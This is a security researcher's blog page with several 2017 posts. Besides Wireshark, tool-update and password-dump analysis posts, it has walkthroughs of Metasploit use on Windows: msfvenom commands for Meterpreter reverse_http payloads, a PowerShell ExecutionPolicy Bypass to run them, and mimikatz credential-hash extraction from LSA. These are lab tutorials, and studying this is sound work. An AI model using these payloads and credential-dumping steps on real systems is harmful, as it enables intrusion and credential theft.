Didier Stevens

Wednesday 23 August 2017

Wireshark: Follow Streams

Filed under: Networking,Wireshark — Didier Stevens @ 0:00

Following streams (like TCP connections) in Wireshark provides a different view on network traffic: in stead of individual packets, one can see data flowing between client & server.

There is a difference between following a TCP stream and an HTTP stream. For example, if the data downloaded from the webserver is gzip compressed, following the TCP stream will display the compressed data, while following the HTTP stream will display the decompressed data.

I illustrate this in the following video:

Wednesday 16 August 2017

Generating PowerShell Scripts With MSFVenom On Windows

Filed under: Hacking — Didier Stevens @ 20:46

To generate a PowerShell script with msfvenom on Windows, use the command “msfvenom.bat –payload windows/x64/meterpreter_reverse_http –format psh –out meterpreter-64.ps1 LHOST=”:

The payload windows/x64/meterpreter_reverse_http is the Meterpreter payload for 64-bit Windows. Format psh is the format to use to generate a PowerShell script that will execute the payload (formats ps1 and powershell are transform formats, they do not generate a script that executes the payload).

A 32-bit payload is generated with this command “msfvenom.bat –payload windows/meterpreter_reverse_http –format psh –out meterpreter-32.ps1 LHOST=”:

Just as I showed in my post for .exe payloads, we start a handler like this:

Now we need to execute the PowerShell scripts. Just executing “powershell.exe -File meterpreter-64.ps1” will not work:

By default, .ps1 files are not executed. We can execute them by bypassing the policy “powershell.exe -ExecutionPolicy Bypass -File meterpreter-64.ps1”:

In this example, 948 is the handle to the thread created by CreateThread when the payload is executed.

But back in the Metasploit console, you will not see a connection. That’s because the PowerShell process terminates before the Meterpreter payload can fully execute: powershell.exe executes the script, which loads the Meterpreter payload in the powershell process, and then powershell.exe exits, e.g. the powershell process is terminated and thus the Meterpreter payload too.

To give the Meterpreter payload the time to establish a connection, the powershell process must remain alive. We can do this by preventing powershell.exe to exit with option -NoExit:

Now we get a connection:

This example was for a 64-bit payload on a 64-bit Windows machine.

The same command is used to execute the 32-bit payload on a 32-bit Windows machine (except for the filename, which is meterpreter-32.ps1 in our example).

To execute the 32-bit payload on a 64-bit Windows machine, we need to start 32-bit PowerShell, like this “c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoExit -File meterpreter-32.ps1”:

This gives us 2 sessions:

Monday 14 August 2017

Using Metasploit On Windows

Filed under: Hacking — Didier Stevens @ 10:17

In my previous post “Reading Memory Of 64-bit Processes” I used the Windows version of Metasploit so that I could do all tests with a single machine: running the Meterpreter client and server on the same machine.

The Metasploit framework requires administrative rights to install on Windows, it will install by default in the c:\metasploit folder. Your AV on your Windows machine will generate alerts when you install and use Metasploit on Windows, so make sure to create the proper exceptions.

General remark: Metaploit on Windows is slower than on Linux, be patient.

I use MSFVenom (c:\metasploit\msfvenom.bat) to create 32-bit and 64-bit executables to inject the Meterpreter payload.

Command “msfvenom.bat –help” will show you all options:

Command “msfvenom.bat –list payloads” will show you all payloads:

Command “msfvenom.bat –help-formats” will show you all output formats:

Executable formats will generate programs and scripts, while transform formats will just produce the payload. More on this later.

I use msfvenom.bat to create a 32-bit and 64-bit executable with the meterpreter_reverse_http payload.

Here is the command for 32-bit: “msfvenom.bat –payload windows/meterpreter_reverse_http –format exe –out meterpreter-32.exe LHOST=”.

Since I did not specify the platform and architecture, msfvenom will choose these based on the payload I selected.

Format exe is the executable format for .exe files.

windows/meterpreter_reverse_http is the Windows 32-bit version of the meterpreter_reverse_http payload. This payload takes several options, which can be enumerated with the following command:

“msfvenom.bat –payload windows/meterpreter_reverse_http –payload-options”

LHOST is the only required option that has no default value. I use LHOST= because I’m doing everything on the same machine, so the loopback address can be used.

Here is the command for 64-bit: “msfvenom.bat –payload windows/x64/meterpreter_reverse_http –format exe –out meterpreter-64.exe LHOST=”.

Now that I created my 2 executables, I can start Metasploit’s console and use them.

I start c:\metasploit\console.bat (this will take a couple of minutes on Windows).

And then I start the Meterpreter server with these commands:

use exploit/multi/handler
set payload windows/meterpreter_reverse_http
set lhost

The Metasploit handler is now waiting for connections. I start meterpreter-64.exe as administrator, because I want it to have SYSTEM access (I ran msfvenom and console as normal user).

When started, meterpreter-64.exe will connect to the handler and wait for instructions (the process will not exit). We can see this connection here:

With the sessions command, we can see all callbacks:

And here we select session 1 to interact with Meterpreter:

From here on, we can use this Meterpreter shell:




Sunday 13 August 2017

Reading Memory Of 64-bit Processes

Filed under: Hacking — Didier Stevens @ 23:21

When you read the memory of a 64-bit process, you have to make sure to read it from a 64-bit process. A 32-bit process can not use the documented Windows API to read the memory of a 64-bit process.

Here is an example using Metasploit with Meterpreter’s mimikatz module:

When using 32-bit meterpreter/mimikatz command msv to extract hashes from 64-bit Windows, we get an error: “0x0000012b Only part of a ReadProcessMemory or WriteProcessMemory request was completed”. This error occurs when a 32-bit process wants to read or write memory from a 64-bit process.

If we take a second look at the result of command “load mimikatz”, we see a warning: [!] Loaded x86 Mimikatz on a x64 architecture.

We need to run Meterpreter in a 64-bit process to access memory of a 64-bit process (like LSA):

Here we have no Windows API error anymore, but still no hashes. This is because Meterpreter’s mimikatz module is an older version (1.0) that can not extract hashes from the latest versions of Windows. Here we are using a 64-bit fully patched Windows 7 machine.

Command “mimikatz_command -f version” confirms module mimikatz’s version:

When we use this version on an 64-bit unpatched Windows 7 SP1 machine, we get hashes:

Maybe you recognize the LM and NTLM hashes of the empty string (AAD3B435B51404EEAAD3B435B51404EE and 31D6CFE0D16AE931B73C59D7E0C089C0).

Saturday 12 August 2017

Update: byte-stats.py Version 0.0.6

Filed under: My Software,Update — Didier Stevens @ 13:00

This new version of byte-stats.py adds option -r (–ranges). This option will print out extra information on the range of byte values (contiguous byte value sequences) found in the analyzed files.

Example for BASE64 data:

Number of ranges: 5
Fir. Last Len. Range
0x2b        1: +
0x2f 0x39  11: /0123456789
0x3d        1: =
0x61 0x7a  26: abcdefghijklmnopqrstuvwxyz

In this example, 5 ranges are reported: they can be thought of as a kind of fingerprint for BASE64 data.
Each range is characterized by 4 properties:
Fir. (First) is the first byte value in the range.
Last is the last byte value in the range (this value is not displayed for ranges of a single byte).
Len. (length) is the number of unique byte values in the range.
Range is the printout of the byte values in the range (. is printed if the byte value is not printable).

byte-stats_V0_0_6.zip (https)
MD5: CA729FF05E314A9CF5C348CB4A720F13
SHA256: 11E41F51EC9911741D71C8BC3278FA22AADBD865F2BF7BE4E73E82A7736A8FA8

Tuesday 1 August 2017

Overview of Content Published In July

Filed under: Announcement — Didier Stevens @ 21:52

Here is an overview of content I published in July:

Blog posts:

YouTube videos:

Videoblog posts:

SANS ISC Diary entries:

Monday 31 July 2017

Update: translate.py Version 2.5.0

Filed under: maldoc,My Software,Update — Didier Stevens @ 20:17

I analyzed a malicious document send by a reader of the Internet Storm Center, and to decode the payload I wanted to use my tool translate.py.

But an option was lacking: I had to combine 2 byte streams to result in the decoded payload, while translate will only accept one byte stream (file, stdout, …).

I solved my problem with a small custom Python script, but then I updated translate.py to accept a second file/byte stream (option -2).

This is how I use it to decode the payload:


translate_v2_5_0.zip (https)
MD5: 768F895537F977EF858B4D82E0E4387C
SHA256: 5451BF8A58A04547BF1D328FC09EE8B5595C1247518115F439FC720A3436519F

Sunday 30 July 2017

Quickpost: Trying Out JA3

Filed under: Networking,Quickpost — Didier Stevens @ 21:19

I tried out JA3 (a Python program to fingerprint TLS clients) with a 1GB pcap file from my server. It was fast (less than 1 minute), but I had to add some error handling to skip packets it would crash on.

I did not identify a lot of client HELLO packets with the JSON fingerprint database: around 5%.


Quickpost info

Saturday 29 July 2017

.ISO Files & autorun.inf

Filed under: Malware — Didier Stevens @ 21:27

I was asked if malware authors can abuse autorun.inf files in .ISO files: no, nothing will execute automatically when you open an .ISO file with autorun.inf file in Windows 8 or 10.

I have videos to illustrate this:

Friday 28 July 2017

Analyzing Password Dumps With My Tools – Part 1

Filed under: My Software — Didier Stevens @ 22:04

I’ve been tweaking some of my tools to help me analyze large password dumps, like exploit.in. And I also have done such analyses with build-in Unix tools (I refer to Unix tools because I started to use Unix in the eighties, before Windows and Linux existed), but I also must be able to do this on Windows machines, where I don’t always have the option to install “Unix-for-Windows” tools like cygwin.

When I started to process the exploit.in files with my CSV tools, I ran into some problems. The data is not very clean, for example, there are lines in the dump that are so long that Python’s csv module will error on it. Normally the format of a line is “email-address:password”, where a colon (:) is a separator between the email address and the password. But sometimes there is no separator in the line, and sometimes there is more than 1 separator. This happens when a password contains a colon (:), but the problem is that the colon (:) is not properly escaped for a CSV parser.

That’s why I made some updates to my python-per-line.py tool.

With python-per-line’s SBC function (Separator Based Cut), I can extract passwords even if the line is too long for other parsers, if there is no separator (:) or more than one separator. This is the expression I use:


line is a Python variable, ‘:’ is the separator, 2 is the number of fields, 1 is the field that needs to be selected (index starts from 0, so 1 is the second field, i.e. the password), and [] is the value to return if there is no field with index 1. [] makes that python-per-line will not output a line (e.g. no empty line). SBC will split the line per the : separator, without taking any possible escape characters into account. It will also separate the line into maximum 2 fields, even if there is more than one : character. This is done from left to right, remaining : characters are part of the second field.

The other problem I encountered on Windows is that when I piped the output of python-per-line into count (to count passwords), the process would stop before all files were processed. It turns out that some passwords contain the CTRL-Z character (0x1A), which is the end-of-file marker, so that’s why processing stopped. I solved this problem by escaping the CTRL-Z character with a function I added to python-per-line: RIN (Repr If Needed). This is the expression I use:


In this case, RIN will escaped its input (the first argument) with Python’s repr function if the input contains character CTRL-Z (\x1A).

python-per-line can also handle gzip compressed text files, so I was able to free up a couple of gigabytes by compressing the exploit.in text files. My count program version 0.1.0 was able to count the passwords, but it required Python 64 bit and took a long time. That’s why I added sqlite3 support to count.py as a counting method.

Here is the command I used to count the passwords and create a database:

Option -c exploit-in-passwords.db instructs count.py to use a sqlite3 database on disk with name exploit-in-passwords.db as a counting method in stead of a Python dictionary (the default counting method).

Option –ranktop 100 makes count.py output the top 100 most frequent passwords, along with their frequency. -H prints out a header, and -t prints totals.

Option -o passwords-top-100.csv makes count.py write its output to file passwords-top-100.csv, and finally, option -b makes that his output also goes to stdout.

Afterwards, I can use the database to print out other lists, like a top 20:

Option -z makes that count.py does not requires input files, it will just print out data from the database. Option -d sorts the output in descending order (sorted by default per count in ascending order).

From this output, I can see that 123456 is the password with the highest frequency (a bit more than 5 million times), that there are almost 800 million passwords in total and a bit more than 200 million unique passwords.

Next Page »

Blog at WordPress.com.